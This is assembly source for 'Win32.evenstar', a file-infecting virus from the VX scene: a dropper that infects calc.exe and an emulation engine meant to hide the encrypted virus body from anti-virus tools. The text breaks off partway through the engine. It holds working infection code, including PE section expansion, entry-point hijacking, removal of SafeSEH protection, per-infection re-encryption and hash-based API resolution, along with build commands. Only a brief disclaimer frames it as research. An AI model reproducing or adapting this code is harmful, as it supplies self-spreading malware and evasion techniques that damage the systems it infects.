 [ ############################### es.asm ############################### ]
;:==============================================================================;
;:                                                                              ;
;:  Win32.evenstar dropper                                                      ;
;:                                                                              ;
;:==============================================================================;

comment $

Welcome to the win32.evenstar code, written by mos6581/EOF.

es.asm          dropper code
es_vm.asm       emulator
payload.asm     the payload that is injected into binaries. the "real" win32.evenstar code
es_enc.asm      encryption/decryption engine 

This virus is a basic last section PE appender. The main focus of this code
is to show an example of how emulation can obfuscate the virus body. For a 
more in-depth explanation, check out my article "Emulation: Transposition of 
Control (From Anti-Virus to Virus)."

Here is a brief rundown of win32.evenstar:

+ Infects all suitable PE files in the current directory.

+ Expands the last segment by 0x1000 and appends both the emulator
  and payload.

+ Removes Load Config Data table to disable SafeSEH

+ Changes OEP to the emulated code.

+ When it infects a new file, a new encryption key is generated.

+ es.exe will infect calc.exe only. 

+ Executing calc.exe will start the win32.evenstar virus, that will begin
  infecting.

+ Compile win32.evenstar 
  C:\masm32\bin\ml.exe /c /coff /Cp es.asm
  C:\masm32\bin\link.exe /SUBSYSTEM:WINDOWS /lIBPATH:C:\masm32\lib es.obj

  or...

  Just run rebuild.bat, which will copy calc_orig.exe to calc.exe and then
  run es.exe which will infect calc.exe (this is the viral code).



  Finally some lame disclaimer:  

All customers are advised to take all necessary steps to ensure that their 
computer has a active, working Anti-Virus Program . No responsibility can be 
accepted by Anal Communications for any loss or damage sustained as a 
consequence of any virus transmission . 

WE CANNOT GUARANTEE EMAIL OR SURFING THE WEB TO BE VIRUS FREE.

But seriously: I am completely against damaging personal property (unless it
is mine) and note that this virus was written with a weak spreader that will
not leave its home directory. So do me a favour and use this for research and
educational purposes only.

$

.686                                                                       
.model flat,stdcall                                                        
option casemap:none                                                        
assume fs:nothing 

include     C:\masm32\include\windows.inc                                  
include     C:\masm32\include\kernel32.inc  
includelib  C:\masm32\lib\kernel32.lib  


.data
fvirtualalloc           db "VirtualAlloc",0
fvirtualprotect         db "VirtualProtect",0
fcreatefile             db "CreateFileA",0
fgetfilesize            db "GetFileSize",0
freadfile               db "ReadFile",0
fclosehandle            db "CloseHandle",0
fwritefile              db "WriteFile",0
fgetcurrentdirectory    db "GetCurrentDirectoryA",0
ffindfirstfile          db "FindFirstFileA",0
ffindnextfile           db "FindNextFileA",0

.code

ES_STACK_SIZE   equ 128

;:==============================================================================;
;:  Local variables                                                             ;
;:==============================================================================;
es_code_base            equ     [ebp - 4]
es_k32_base             equ     [ebp - 8]
es_file_handle          equ     [ebp - 12]
es_file_size            equ     [ebp - 16]
es_file_buffer          equ     [ebp - 20]
es_junk                 equ     [ebp - 24]
es_vm_remote_entry      equ     [ebp - 28]

;:==============================================================================;
;:  Entry point                                                                 ;
;:==============================================================================;
start:
    nop
    call    delta
delta:
    pop     ebx
    push    ebp
    mov     ebp, esp
    sub     esp, ES_STACK_SIZE
    mov     es_code_base, ebx

;   Open target file
    
    push    NULL
    push    FILE_ATTRIBUTE_NORMAL
    push    OPEN_ALWAYS
    push    NULL
    push    0
    push    GENERIC_READ
    push    OFFSET target_file
    call    CreateFile
    mov     es_file_handle, eax

;   Get target file size
    push    NULL
    push    eax
    call    GetFileSize
    mov     es_file_size, eax
    
;   Allocate memory
    push    PAGE_READWRITE
    push    MEM_COMMIT
    add     eax, 1000h
    push    eax
    push    NULL
    call    VirtualAlloc
    mov     es_file_buffer, eax

;   Read file into memory
    push    NULL
    lea     eax, es_junk
    push    eax
    push    es_file_size
    push    es_file_buffer
    push    es_file_handle
    call    ReadFile

;   Close file handle
    push    es_file_handle
    call    CloseHandle

;   Find PE header
    mov     ebx, es_file_buffer
    assume  ebx:ptr IMAGE_DOS_HEADER

;   Install signature
    mov     [ebx].e_oemid, 0eeeeh

;   PE
    mov     eax, [ebx].e_lfanew
    assume  ebx:nothing
    lea     ebx, [ebx + eax]                            ; PE Header in ebx

;   Expand SizeOfImage
    assume  ebx:ptr IMAGE_NT_HEADERS
    mov     eax, [ebx].OptionalHeader.SizeOfImage
    add     eax, 1000h
    mov     [ebx].OptionalHeader.SizeOfImage, eax
    pop     eax
    push    ebx
    

;   Get address of last section
    mov     eax, SIZEOF IMAGE_SECTION_HEADER
    xor     edx, edx
    mov     WORD PTR dx, [ebx].FileHeader.NumberOfSections
    dec     dl
    mul     edx
    push    ebx
    add     ebx, 0f8h
    lea     ebx, [ebx + eax]                            ; ebx = last section hdr absolute

;   Expand last section header
    assume  ebx:ptr IMAGE_SECTION_HEADER
    ;pop     edx                                         ; edx = ptr to PE hdr
    mov     eax, [ebx].SizeOfRawData
    add     eax, 1000h
    mov     [ebx].SizeOfRawData, eax
    mov     eax, [ebx].Characteristics
    or      eax, IMAGE_SCN_MEM_WRITE
    mov     [ebx].Characteristics, eax
    assume  ebx:nothing
    mov     DWORD PTR eax, [ebx + 08h]                  ; VirtualSize
    add     eax, 1000h
    mov     [ebx + 08h], eax

;   OEP
    pop     edx
    assume  edx:ptr IMAGE_NT_HEADERS
    mov     eax, (00016000h + 8A00h)
    mov     esi, [edx].OptionalHeader.AddressOfEntryPoint
    add     esi, [edx].OptionalHeader.ImageBase
    push    esi
    mov     [edx].OptionalHeader.AddressOfEntryPoint, eax
    assume  edx:nothing

;   Inject vm
    assume  ebx:ptr IMAGE_SECTION_HEADER
    mov     DWORD PTR eax, [ebx].PointerToRawData
    add     DWORD PTR eax, [ebx].SizeOfRawData
    mov     edx, es_file_buffer
    lea     edi, [eax + edx]                            ; Raw address of end of section
    sub     edi, 1000h
    push    edi
    assume  ebx:nothing
    mov     esi, OFFSET vm_intro
    mov     ecx, (OFFSET vm_end - OFFSET vm_intro)
    mov     es_vm_remote_entry, edi
    rep     movsb
    pop     edx
    pop     esi
    mov     [edx + 7], esi

;   Analyze code
    mov     eax, (OFFSET payload_end - OFFSET payload)
    mov     ecx, eax
    stosd                                               ; Size of payload    
    xor     eax, eax
    stosd                                               ; How many instructions were counted
    xor     esi, esi                                    ; Instruction counter
    push    edi
    push    OFFSET payload
@es_analysis:
    call    mlde32
    pop     edx
    add     edx, eax
    stosb
    push    edx
    sub     ecx, eax
    inc     esi
    test    ecx, ecx
    jne     @es_analysis
    mov     eax, 0deadbeefh
    stosd
    mov     ecx, esi
    add     ecx, 7
    not     ecx
    lea     ebx, [edi + ecx]
    mov     [ebx], esi                                  ; Store instruction counter    

;   Inject payload
    push    edi
    mov     esi, OFFSET payload
    mov     ecx, (OFFSET payload_end - OFFSET payload)
    rep     movsb

;   Encrypt payload
    mov     esi, [esp + 8]
    pop     edi
    
    call    vm_enc

;   Stamp in key
    mov     edi, es_vm_remote_entry
    lea     edi, [edi + 1 + (OFFSET vm_dec_key - OFFSET vm_intro)]
    mov     eax, vm_key
    mov     [edi], eax

;   Open file for writing
    push    NULL
    push    FILE_ATTRIBUTE_NORMAL
    push    OPEN_EXISTING
    push    NULL
    push    0
    push    GENERIC_WRITE
    push    OFFSET target_file
    call    CreateFile
    mov     es_file_handle, eax

;   Commit changes to exe
    push    NULL
    lea     eax, es_junk
    push    eax
    mov     eax, es_file_size
    add     eax, 1000h
    push    eax
    push    es_file_buffer
    push    es_file_handle
    call    WriteFile

;   Close handle
    push    es_file_handle
    call    CloseHandle

    invoke  ExitProcess, 0

    ret

include mlde32.asm
include vm_enc.asm
include es_vm.asm
include payload.asm



target_file     db "calc.exe",0

end start
 [ ############################### es.asm ############################### ]
 [ ############################### es_vm.asm ############################### ]
;:==============================================================================;
;:                                                                              ;
;:  Evenstar Emulation Engine rev 1                                             ;
;:                                                                              ;
;:      written by: EOF->m0s6581                                                ;
;:      contact:    [nop] [x90] [@] [live.ca]                                   ;
;:          or... [ssphysics][@][jabber.org]                                    ;
;:              Talk to me! I don't have any friends!                           ;
;:                                                                              ;
;:  What is this?                                                               ;
;:      This is not a complete emulation engine, by any means. But, rest        ;
;:      assured, there will be more to come. Check out my article for           ;
;:      concept/technical details about this!                                   ;
;:                                                                              ;
;:  What is evenstar?                                                           ;
;:      Win32.Evenstar is a sample infector utilizing this emulation engine. It ;
;:      doesn't utilize any advanced obfuscation techniques, as is meant to     ;
;:      test the stability of the emulator. The emu is contstructed to be as    ;
;:      modular as possible, so it can be integrated into other code.           ;
;:                                                                              ;
;:  I can't bother to read your crappy code, where is the synopsis?             ;
;:      I understand. The purpose is to build a line-by-line decrypter/         ;
;:      encrypter. It seems that emulation is the easiest way to accomplish     ;
;:      this goal. This asm file is the main emulator code.                     ;
;:                                                                              ;
;:  What does this emulation engine need?                                       ;
;:      Pointers to VirtualAlloc and VirtualProtect. Also, a length             ;
;:      disassembler to build an instruction length table.                      ;
;:                                                                              ;
;:  Who's code did you steal?                                                   ;
;:      I'd like to thank uNdErX of 29A for mlde32! Very stable and accurate.   ;
;:      The source has not been modified and is located in mlde32.asm. Thanks   ;
;:      again, man.                                                             ;
;:                                                                              ;
;:  Greets go to EOF-Project (Prom1x & DarkProphet), MetalKid, badbit,          ;
;:  DG2 and my homies @12 (DL :D), pri0n, zarathustra, spth, hh86,              ;
;:  and especially izee for keeping me sane.                                    ;
;:  Last but not least, all the great vx'ers who are no longer in the scene.    ;
;:  Without your talent, I would still be clueless. Thanks everyone!            ;
;:                                                                              ;
;:                                                                              ; 
;:                                                                              ;
;:  es_vm was tested on windows xp 32-bit.                                      ;
;:                                                                              ;
;:  Debuggee:           The emulated code.                                      ;
;:  Working Buffer:     Main buffer containing the Instruction Buffer,          ;
;:                      debuggee stack and other information utilized           ;
;:                      by the emu. Note: We must use VirtualAlloc, because     ;
;:                      it is aligned by pages. The emu cannot work without     ;
;:                      this explicit property.                                 ;
;:                                                                              ;
;:  Instruction Buffer: A small buffer at the Working Buffer page start used    ;
;:                      to execute instructions.                                ;
;:                                                                              ;
;:  Execution Buffer:   The encrypted payload is copied to here and the emu     ;
;:                      accesses it to read instructions.                       ;
;:                                                                              ;
;:  Instruction Counter:A pointer to the array of elements consisting of        ;
;:                      instruction lengths generated by the length disasm.     ;
;:                      It points within the Instruction Length Structure.      ;
;:                                                                              ;
;:==============================================================================;







;:==============================================================================;
;:  Program Constants                                                           ;
;:==============================================================================;
iop                             equ dd 90900b0fh                        ; Debug only - illegal opcode (ud2)
VM_GET_INFO_MACHINE             equ 0e0fe0f00h                          ; This entry in eax will tell the emu that the debuggee is asking for base information from the emu
VM_RETURN_TO_OEP                equ 0bbaaffeeh                          ; This entry in eax will pass the oep in ebx, informing the emulator that the debuggee has completed execution
VM_INFO_GET_API                 equ 0ddeeddeeh                          ; This entry in eax will pass a pointer to the API address table (of the VM stack)
INSTRUCTION_BUFFER_BASE         equ 20000h                              ; Obsolete
CODE_OFFSET                     equ OFFSET vm_handler
JUMP_OFFSET                     equ VM_DEBUG_JMP_TO_SEH
VM_STACK_SIZE                   equ 108                                 ; Size of emulator stack
VM_BREAK_OPCODE                 equ 0cch                                ; Code injected after regular instruction & call


;:==============================================================================;
;:  Emulator to debuggee communication constants                                ;
;:==============================================================================;
VM_STACK_PTR_OFFSET             equ 64                                  ; Interchangeable stack pointer 
VM_INST_LEN_PTR                 equ 60                                  ; Instruction length pointer
VM_INST_BASE_PTR                equ 68                                  ; Instruction base pointer
VM_AV_BIT                       equ 72                                  ; When the exception happens, the instruction is executed again after decryption.
VM_AV_LEN                       equ 76                                  ; Length, installed by AV handler
VM_AV_INST                      equ 80                                  ; Pointer to instruction, installed by AV, also checked by the proxy
VM_API                          equ 84
VM_STACK_CONTEXT                equ VM_STACK_PTR_OFFSET + 8
;VM_DEBUG_JMP_TO_SEH             equ ((OFFSET vm_handler - OFFSET vm_intro) + 01028005h) - 0103000bh
VM_DEBUG_JMP_TO_SEH             equ OFFSET vm_handler - 20000bh
VM_WORKING_BUFFER_SIZE          equ 4000h

;VM_SIZE                         equ OFFSET vm_intro - OFFSET start
VM_SIZE                         equ 0c00h                               ; Override

;   rebuild cs, ds, ss, es, fs[0] - SEH, gs segments
;   FS:[0x00]   SEH
;   FS:[0x04]   SS - top of stack



;:==============================================================================;
;:  Structures                                                                  ;
;:==============================================================================;
;   Just the CONTEXT structure (defined already)
;       This is pointed to by the exception_record
comment $
CONTEXT              STRUCT
     ContextFlags    dd  ?
     Dr0             dd  ?
     Dr1             dd  ?
     Dr2             dd  ?
     Dr3             dd  ?
     Dr6             dd  ?
     Dr7             dd  ?
     FloatSave       FLOATING_SAVE_AREA
     SegGs           dd  ?
     SegFs           dd  ?
     SegEs           dd  ?
     SegDs           dd  ?
     Edi             dd  ?
     Esi             dd  ?
     Ebx             dd  ?
     Edx             dd  ?
     Ecx             dd  ?
     Eax             dd  ?
     Ebp             dd  ?
     Eip             dd  ?
     SegCs           dd  ?
     EFlags          dd  ?
     Esp             dd  ?
     SegSs           dd  ?
     ExtendedRegisters   db MAXIMUM_SUPPORTED_EXTENSION dup (?)
CONTEXT              ENDS
$

;   Local thread context structure (read by emulator)
regs            STRUCT
    rebp         dd ?
    resi         dd ?
    redi         dd ?
    redx         dd ?
    recx         dd ?
    rebx         dd ?
    reax         dd ?
    rflags       dw ?
regs            ENDS


;:==============================================================================;
;:  Macros                                                                      ;
;:==============================================================================;
push_gen_reg MACRO 
    push    eax
    push    ebx
    push    ecx
    push    edx
    push    edi
    push    esi
ENDM


pop_gen_reg MACRO
    pop     esi
    pop     edi
    pop     edx
    pop     ecx
    pop     ebx
    pop     eax
ENDM


lock_buffer MACRO
;   lock execution buffer
    pusha
    lea     eax, vm_page_protect
    push    eax
    push    PAGE_NOACCESS
    push    1000h
    push    vm_exec_page
    mov     eax, vm_virtualprotect
    call    eax
    popa
ENDM


unlock_buffer MACRO
;   Unlock execution buffer
    pusha
    lea     eax, vm_page_protect
    push    eax
    push    PAGE_READONLY
    push    1000h
    push    vm_exec_page
    mov     eax, vm_virtualprotect
    call    eax
    popa
ENDM


write_buffer MACRO
;   write buffer execution buffer
    pusha
    lea     eax, vm_page_protect
    push    eax
    push    PAGE_READWRITE
    push    1000h
    push    vm_exec_page
    mov     eax, vm_virtualprotect
    call    eax
    popa
ENDM


;:==============================================================================;
;:  Entry Point                                                                 ;
;:==============================================================================;
vm_intro:
    nop

    call    vm_delta
vm_delta:
    mov     esi, 0ffeeffeeh
    pop     edx
    mov     ecx, esp

;:==============================================================================;
;:  Install SEH                                                                 ;
;:==============================================================================;
    assume  fs:nothing
    lea     eax, [edx + (OFFSET vm_handler - OFFSET vm_delta)]
    push    eax
    push    eax
    push    0 ;DWORD PTR fs:[0]
    mov     DWORD PTR fs:[0], esp

;   Build a stack frame
    push    ebp
    mov     ebp, esp
    sub     esp, VM_STACK_SIZE
    ;sub     edx, 6
    mov     vm_base, edx
    mov     vm_orig_esp, ecx
    mov     vm_host_oep, esi

;:==============================================================================;
;:  Stack Variables                                                             ;
;:==============================================================================; 
vm_parm_buf         equ [ebp - 4]                       ; Working buffer (stack, instruction buffer)
vm_parm_buf_size    equ [ebp - 8]                       ; Working buffer size
vm_parm_code_base   equ [ebp - 12]                      ; Begin analysis
vm_parm_code_size   equ [ebp - 16]                      ; Code size
vm_parm_entry       equ [ebp - 20]                      ; OEP of code
vm_inst_len         equ [ebp - 24]                      ; Length of instruction
vm_page_protect     equ [ebp - 28]                      ; Page protection data
vm_exec_page        equ [ebp - 32]                      ; Page containing executable code - self-reference
vm_key              equ [ebp - 36]                      ; Contains key
vm_inst_len_ptr     equ [ebp - 40]                      ; Pointer to the instruction length counter
vm_payload_insts    equ [ebp - 44]                      ; Amount of instructions in payload
vm_payload_inst_s   equ [ebp - 48]                      ; Payload instruction counter starts here
vm_base             equ [ebp - 52]                      ; Base address (delta) of emulator

vm_closehandle      equ [ebp - 56]
vm_createfile       equ [ebp - 60]
vm_getfilesize      equ [ebp - 64]
vm_readfile         equ [ebp - 68]
vm_virtualalloc     equ [ebp - 72]
vm_virtualprotect   equ [ebp - 76]
vm_writefile        equ [ebp - 80]
vm_getcurrdir       equ [ebp - 84]
vm_findfirstfile    equ [ebp - 88]
vm_findnextfile     equ [ebp - 92]

vm_kernel32         equ [ebp - 96]
vm_orig_esp         equ [ebp - 100]
vm_host_oep         equ [ebp - 104]

;:==============================================================================;
;:  Resolve function pointers to API                                            ;
;:==============================================================================;
;   kernel32
    mov     eax, DWORD PTR fs:[30h]
    mov     eax, DWORD PTR [eax + 0ch]
    mov     esi, DWORD PTR [eax + 01ch]
    lodsd
    mov     ebx, DWORD PTR [eax + 08h]
    mov     vm_kernel32, ebx

;   Resolve API loop
    mov     edx, vm_base
    sub     edx, 6
    add     edx, (OFFSET vm_hash - OFFSET vm_intro)
    lea     ebx, vm_closehandle    

@vm_api_main:
    push    edx
    push    ebx
    call    vm_api
    pop     ebx
    pop     edx

    mov     [ebx], eax
    add     edx, 4
    sub     ebx, 4
    cmp     DWORD PTR [edx], 0
    jne     @vm_api_main
    jmp     vm_1

;   Resolve API: thx again shitdown!
vm_api:
    mov     ebx, vm_kernel32
    mov     esi, [ebx + 03ch]                           ; pe header
    mov     esi, [esi + ebx + 078h]                     ; export table
    lea     esi, [esi + ebx + 01ch]                     ; address table
    lodsd                                               ; abs address table
    push    eax                                         ; save
    lodsd                                               ; name table
    push    esi                                         ; ptr to ordinal table
    lea     esi, [eax + ebx]
    mov     ecx, ebx                                    ; counter

@vm_api:
    lodsd
    add     eax, ebx                                    ; eax -> string pointer

;   Basic string hashing algorithm
vm_hashh:
    push    esi
    push    ebx
    mov     esi, eax
    xor     eax, eax
    movzx   ebx, BYTE PTR [esi]
@vm_hash:
    imul    eax, 5
    add     eax, ebx
    inc     esi
    movzx   ebx, BYTE PTR [esi]
    test    ebx, ebx
    jne     @vm_hash
    pop     ebx
    pop     esi

    inc     ecx
    inc     ecx

    cmp     [edx], eax
    jne     @vm_api

;   We have found the API
    pop     esi
    lodsd
    movzx   ecx, WORD PTR [eax + ecx - 2]
    pop     eax
    add     eax, ebx
    mov     eax, [ecx * 4 + eax]
    add     eax, vm_kernel32
    ret

;:==============================================================================;
;:  Build emulation structures                                                  ;
;:==============================================================================;
vm_1:
    mov     edx, vm_base                                ; Delta
    lea     edx, [edx + (OFFSET vm_end - vm_delta)]
    mov     eax, [edx]
    mov     vm_parm_code_size, eax                      ; Size of Encrypted code

;   How many instructions in payload
    mov     eax, [edx + 4]
    mov     DWORD PTR vm_payload_insts, eax             ; Total number of instructions in the encrypted payload
    sub     esp, eax
    mov     ecx, eax

;   Find bottom of instruction counter structure
    lea     edi, [edx + 8]
    mov     vm_inst_len_ptr, edi                        ; This points to the first element in the instruction length table (it will be 1, because of nop)

;   Find code entry
    lea     edi, [edi + eax + 4]
    mov     vm_parm_code_base, edi                      ; Base of code

;   Copy instruction counter structure to stack
    lea     esi, [edx + 8]
    lea     eax, [esp + ecx]
    mov     vm_payload_inst_s, eax
@vm_copy_inst:
    lodsb
    mov     BYTE PTR [esp + ecx], al
    loop    @vm_copy_inst
    mov     BYTE PTR [esp], 0ffh

;   Allocate working buffer
    push    PAGE_EXECUTE_READWRITE
    push    MEM_COMMIT
    push    VM_WORKING_BUFFER_SIZE
    push    NULL
    mov     eax, vm_virtualalloc
    call    eax
    mov     vm_parm_buf, eax                            ; This will be used for the debuggee IB, stack and other vars

;   Allocate Execution buffer
    push    PAGE_EXECUTE_READWRITE
    push    MEM_COMMIT
    push    1000h                                       ; We're assuming a max size of 1000h for the payload (far less than this)
    push    NULL
    mov     eax, vm_virtualalloc
    call    eax                                         ; Buffer which contains the encrypted payload
    mov     vm_exec_page, eax   

;   Copy code to execution buffer
    mov     ecx, vm_parm_code_size
    mov     edi, eax
    mov     esi, vm_parm_code_base
    rep     movsb                                       ; We copy the raw code to the execution buffer
                                                        ; This is to allow the emulator to manipulate
                                                        ; the payload.


;   An example of how the Instruction Length Structure is built
comment $
;:==============================================================================;
;:  Analyze code                                                                ;
;:==============================================================================; 
    xor     eax, eax
    mov     ecx, vm_parm_code_size
    mov     ebx, esp
    sub     esp, ecx
    push    vm_parm_code_base
@lpe_poly_lde:
    call    mlde32
    pop     edx
    add     edx, eax
    mov     BYTE PTR [esp + ecx], al
    push    edx
    loop    @lpe_poly_lde
    push    BYTE PTR 0ffh

;   Encrypt
    mov     esi, vm_parm_code_size
    lea     esi, [esp + esi + 8]
    mov     edi, vm_parm_code_base
    call    vm_enc
$

;   Lock execution buffer
    lock_buffer

;:==============================================================================;
;:  Prepare the emulation engine                                                ;
;:==============================================================================; 
    mov     edi, vm_exec_page                           ; edi -> eip of debuggee
    mov     ebx, vm_parm_buf                            ; ebx -> working buffer: instruction buffer, stack, vm data
    ;lea     esi, [esp + ((VM_SIZE + 4) - 0a0ch)]
    mov     esi, vm_payload_inst_s                      ; esi -> pointer to instruction counter structure
    lea     edx, [ebx + 8000]                           ; edx -> pointer to top of debuggee stack
    mov     eax, esp
    mov     esp, edx

;   Install SEH 
    ;push    OFFSET vm_handler
    ;push    DWORD PTR fs:[0]
    ;mov     DWORD PTR fs:[0], esp
    ;push    0deadbeefh
    push    ebx                                         ; retn
    pushf
    sub     esp, 28

;   Adjust stack ptr
    mov     edx, esp
    mov     esp, eax   
    mov     DWORD PTR [ebx + VM_STACK_PTR_OFFSET], edx
    add     edx, 4

;   Add other info: base of code + base of inst ptr
    mov     eax, vm_inst_len_ptr
    mov     DWORD PTR [ebx + VM_INST_LEN_PTR], eax
    mov     eax, vm_exec_page
    mov     DWORD PTR [ebx + VM_INST_BASE_PTR], eax
    mov     eax, vm_virtualprotect
    mov     DWORD PTR [ebx + VM_API], eax







;==============================================================================;
;:  Virtual Machine loop                                                       ;
;==============================================================================; 
    assume  ebx:nothing
@vm:
;   Here we execute the next instruction.
;   Get size of instruction
    xor     eax, eax                                    ; Zero
    std                                                 ; This is stored on the stack, so we're going backwards
    lodsb                                               ; Load instruction length
    mov     ecx, eax                                    ; len in cl
    mov     vm_inst_len, eax
    cld

;   Unlock execution buffer
    unlock_buffer

;   Copy instruction to instruction buffer
    ;mov     eax, vm_inst_len                            ; Instruction length
    pusha
    xchg    esi, edi
    xchg    edi, ebx               
    mov     [edx + 01eh], edi                     
    ; esi = OFFSET start
    ; edi = instruction buffer
    ; ebx = instruction length struct
    ; edx = stack ptr
    rep     movsb                                       ; Copy instruction to instruction buffer
    popa
    
;   Decrypt the instruction
    push    edi
    mov     edi, edx
    and     edi, 0ffff0000h
    call    vm_dec
    pop     edx

;   Lock execution buffer
    lock_buffer






;==============================================================================;
;:  Test the Instruction Type                                                  ;
;==============================================================================;
;:  1) Far Call                                                                ;
;:      Far calls are not emulated, as it is a call outside the payload        ;
;:  2) Local Call                                                              ;
;:      Local calls (within the payload) must be emulated, so the code doesn't ;
;:      escape the emulator.                                                   ;
;:  3) Return                                                                  ;
;:      This is only valid for local calls                                     ;
;:  4) [Non]Conditional Jumps                                                  ;
;:      Should be local                                                        ;
;:  5) All other instructions                                                  ;
;==============================================================================;
    mov     vm_inst_len, eax

;   Begin test
    mov     BYTE PTR al, [edi]






;==============================================================================;
;:  Debugging procedure                                                        ;
;==============================================================================;
;   VM DEBUG HALT - REMOVE ME
    ;cmp     WORD PTR [edi], 0b0fh
    ;jne     vm_no_halt
    ;iop

vm_no_halt:
    cmp     al, 0e8h                                    ; call?
    
;   1/2
    je      vm_call
    cmp     al, 0c3h                                    ; ret?
    
;   3
    je      vm_ret
    cmp     al, 0ffh                                    ; Call reg
    je      vm_call_reg_ff

;   4
    cmp     al, 0ebh                                    ; jmp short disp8                 
    je      vm_jmp_eb
    cmp     al, 0e9h                                    ; jmp near disp32
    je      vm_jmp_e9
    cmp     al, 0fh                                     ; Is the 0x0F opcode group present?
    je      vm_0f
    and     al, 11110000b                               ; Isolate the top nibble
    cmp     al, 070h                                    ; Short conditional Jump?
    je      vm_jmp_cond_short
    cmp     al, 0e0h                                    ; loop instruction
    je      vm_jmp_loop

;   5
    jmp     vm_reg_inst







;==============================================================================;
;::::::::::::::::::::::::::      Jump Emulation      ::::::::::::::::::::::::::;
;==============================================================================;
;   LOOP 0xe0-0xe2
;   The support for loop has not been completed yet
vm_jmp_loop:
;   First of all, do we need to jump?
    push    edx
    mov     edx, [ebx + VM_STACK_PTR_OFFSET]            ; Register context of debuggee
    assume  edx:ptr regs
    mov     eax, [edx].recx                             ; Load ecx register
    test    eax, eax                                    ; ecx register 0?
    je      vm_jmp_loop_false
    dec     eax                                         ; Otherwise, decrement
    mov     [edx].recx, eax                             ; Commit
    assume  edx:nothing
    xor     eax, eax
    pop     edx                                         ; Restore old value
    
;   Adjust instruction pointer
    mov     BYTE PTR al, [edi]
    cmp     al, 0e2h
    je      vm_jmp_loop_e2
    iop                                                 ; FIXME add other loop instructions

vm_jmp_loop_e2:
    mov     BYTE PTR al, [edi + 1]                      ; Load short operand
    cmp     al, 0
    jl      vm_jmp_loop_e2_neg
    iop                                                 ; FIXME

vm_jmp_loop_e2_neg:
    iop
    not     al
    not     eax
    mov     cl, [edi + 1]                               ; Load operand
    xchg    edx, edi
    lea     edi, [edi + eax + 2]                        ; Final destination
    xchg    ecx, eax

    stc
    jmp     vm_recompute_size_array

vm_jmp_loop_false: 
    pop     edx                                         ; Restore old value
    iop







;==============================================================================;
;:  Jump short                                                                 ;
;==============================================================================;
vm_jmp_eb:
    iop
    xor     ecx, ecx
    mov     cl, [edi + 1]                               ; Load 8 bit operand
    cmp     cl, 0
    jg      vm_jmp_eb_pos
    not     cl
    not     ecx
vm_jmp_eb_pos:
    xchg    edx, edi
    lea     edi, [edi + ecx + 2]                        ; Final destination
    call    vm_recompute_size_array
    dec     esi                                         ; Shift to next instruction
    jmp     @vm

;   JMP NEAR OPCODE 0xE9 (32-bit operand)
vm_jmp_e9:
    mov     ecx, [edi + 1]                              ; Load 32-bit operand
    xchg    edx, edi
    lea     edi, [edi + ecx + 5]                        ; Final Destination
    cmp     ecx, 0
    jmp     vm_recompute_size_array

vm_0f:
    mov     BYTE PTR al, [edi + 1]                      ; Load the opcode after the 0F grouping byte
    mov     ah, al                                      ; Store the opcode in ah
    and     al, 11110000b                               ; Isolate the top nibble
    cmp     al, 080h                                    ; Near conditional jump?
    jne     vm_reg_inst

;   Basic conditional jump opcodes
;   0000            jo              o
;   1000            js              s
;   0100            je              z
;   0010            jb              c
;   1010            jp              p
;   0110            jbe             c & z
;   1100            jl              (s <> o):T,(s = o):F
;   1110            jle             [(z = 1) || (s <> o)]:T,[(z = 0) && (s = o)]:F

;   Near Conditional Jump
vm_jmp_cond_near: 
    push    edx
    mov     DWORD PTR edx, [edi + 2]                    ; Load the 4 byte offset into edx
    mov     al, 2                                       ; Size of the jump instruction prefix + opcode
    xchg    ah, al
    jmp     vm_jmp_cond_table

;   Short Conditional Jump
vm_jmp_cond_short:
    push    edx
    mov     BYTE PTR dl, [edi + 1]                      ; Load the byte offset into dl
    mov     BYTE PTR al, [edi]                          ; Load the jump opcode
    xor     ah, ah
    inc     ah                                          ; Size of the jump instruction opcode

;   Jump test table intro
vm_jmp_cond_table:
    mov     DWORD PTR ecx, [ebx + 64]                   ; Load the debuggee stack pointer
    mov     WORD PTR cx, [ecx + 28]                     ; Load the debuggee eflags into cx register
    ; cx = eflags, al = opcode, ah = length
    push    eax
    and     al, 0fh
    xor     ah, ah
    btr     eax, 0                                      ; Test bit 0 of al
    pushf







;==============================================================================;
;:  Jump table logic                                                           ;
;==============================================================================;
;:  Feel free to give me an idea of how to reduce this size
    test    al, al                                      ; test for 0000, jo, o
    jne     vm_1000                                     ; Jump if not true
    popf

    ; jo/jno
    jc      vm_0000_jno
    ; jo
    bt      ecx, 11                                     ; o flag
    jc      vm_jmp_cond_true
    jnc     vm_jmp_cond_false
    ; jno
    vm_0000_jno:
    bt      ecx, 11                                     ; o flag
    jc      vm_jmp_cond_false
    jnc     vm_jmp_cond_true

;   js/jns
vm_1000:
    cmp     al, 1000b
    jne     vm_0100
    popf
    
    ; js/jns
    jc      vm_1000_jns
    ; js
    bt      ecx, 7                                      ; s flag
    jc      vm_jmp_cond_true
    jnc     vm_jmp_cond_false
    ; jns
    vm_1000_jns:
    bt      ecx, 7                                      ; s flag
    jc      vm_jmp_cond_false
    jnc     vm_jmp_cond_true    

;   jb/jnb
vm_0100:
    cmp     al, 0100b
    jne     vm_0010
    popf
    
    ; jb/jnb
    jc      vm_0100_jnb
    ; jb
    bt      ecx, 6                                      ; z flag
    jc      vm_jmp_cond_true
    jnc     vm_jmp_cond_false
    ; jnb
    vm_0100_jnb:
    bt      ecx, 6                                      ; z flag
    jc      vm_jmp_cond_false
    jnc     vm_jmp_cond_true   

;   je/jne
vm_0010:
    cmp     al, 0010b
    jne     vm_1010
    popf
    
    ; je/jne
    jc      vm_0010_jne
    ; je
    bt      ecx, 0                                      ; c flag
    jc      vm_jmp_cond_true
    jnc     vm_jmp_cond_false
    ; jne
    vm_0010_jne:
    bt      ecx, 0                                      ; c flag
    jc      vm_jmp_cond_false
    jnc     vm_jmp_cond_true   

;   jp/jnp
vm_1010:
    cmp     al, 1010b
    jne     vm_0110
    popf
    
    ; jp/jnp
    jc      vm_1010_jnp
    ; jp
    bt      ecx, 2                                      ; p flag
    jc      vm_jmp_cond_true
    jnc     vm_jmp_cond_false
    ; jnp
    vm_1010_jnp:
    bt      ecx, 2                                      ; p flag
    jc      vm_jmp_cond_false
    jnc     vm_jmp_cond_true 

;   jbe c & z
vm_0110:
    cmp     al, 0110b
    jne     vm_1100
    popf
    
    ; jbe/ja
    jc      vm_0110_ja

    ; jbe
    bt      ecx, 6                                      ; z flag
    jnc     vm_jmp_cond_true
    bt      ecx, 0                                      ; c flag
    jnc     vm_jmp_cond_true
    jmp     vm_jmp_cond_false
    ; ja
    vm_0110_ja:
    bt      ecx, 6                                      ; z flag
    jnc     vm_jmp_cond_false
    bt      ecx, 0                                      ; c flag
    jnc     vm_jmp_cond_false
    jmp     vm_jmp_cond_true    

;   jl/jge
